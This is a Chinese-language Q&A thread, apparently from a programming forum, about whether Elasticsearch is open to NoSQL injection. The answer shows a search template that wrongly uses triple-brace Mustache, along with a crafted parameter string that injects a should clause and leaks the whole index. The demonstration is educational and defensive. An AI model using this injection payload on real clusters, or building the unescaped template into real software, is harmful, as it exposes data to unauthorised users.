代码之家  ›  专栏  ›  技术社区  ›  Ynv

使用Elasticsearch防止NoSQL注入

  •  0
  • Ynv  · 技术社区  · 5 年前

    我正在使用 QueryBuilders 在我的后端。群集不直接暴露于internet,仅通过后端访问。

    我注意到我为它提供了非标准化的用户输入,这让我想起了SQL注入。我知道如何防止SQL注入,但我不确定 QueryBuilder 转义输入?

    我发现有一种叫做“搜索模板”的东西,它使用胡子。他们可能会正确地避开内容吗?它们是防止此类问题的“出路”吗?

    我甚至不确定有问题的用户输入会是什么样子。当使用 ,我不认为 HTTP METHOD 可以更改查询的名称。

    脚本可能是一个问题,但可以禁用。

    重申我的问题:代码注入对Elasticsearch来说是一个问题吗?如果是,缓解它们的最佳方法是什么?

    0 回复  |  直到 5 年前
        1
  •  11
  •   Val    5 年前

    你可以找到所有的 previously detected security flaws 在ES中,但NoSQL注入从来都不是其中之一。。。目前为止

    然而,你可以找到 some literature 这就是如何做到这一点。还有一些 other discussions and resources 也许值得一读。

    举个简单的例子,当使用利用Mustache模板语言的搜索模板时,肯定有可能创建NoSQL注入攻击。例如,假设我们有以下两个文档:

    PUT attack/doc/1
    {
      "field1": 2,
      "field2": 1
    }
    PUT attack/doc/2
    {
      "field1": 2,
      "field2": 2
    }
    

    field1 (错误地)使用了三重胡须:

    POST _scripts/attack
    {
      "script": {
        "lang": "mustache",
        "source": """
    {
      "query": {
        "bool": {
          "filter": [
            {
              "term": {
                "field1": {{{field}}}
              }
            },
            {
              "range": {
                "field2": {
                  "gte": 2
                }
              }
            }
          ]
        }
      }
    }
        """
      }
    }
    

    通过为 field 参数,我们可以泄漏整个索引:

    POST attack/_search/template
    {
      "id": "attack",
      "params": {
        "field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
      }
    }
    

    最后的查询如下所示,即我们能够插入一个基本上泄露整个索引的should子句:

      {
        "query" : {
          "bool" : {
            "filter" : [
              {
                "term" : {
                  "field1" : 2
                }
              }
            ],
            "should" : [
              {
                "range" : {
                  "field2" : {
                    "lte" : 2
                  }
                }
              },
              {
                "range" : {
                  "field2" : {
                    "gte" : 2
                  }
                }
              }
            ]
          }
        }
      }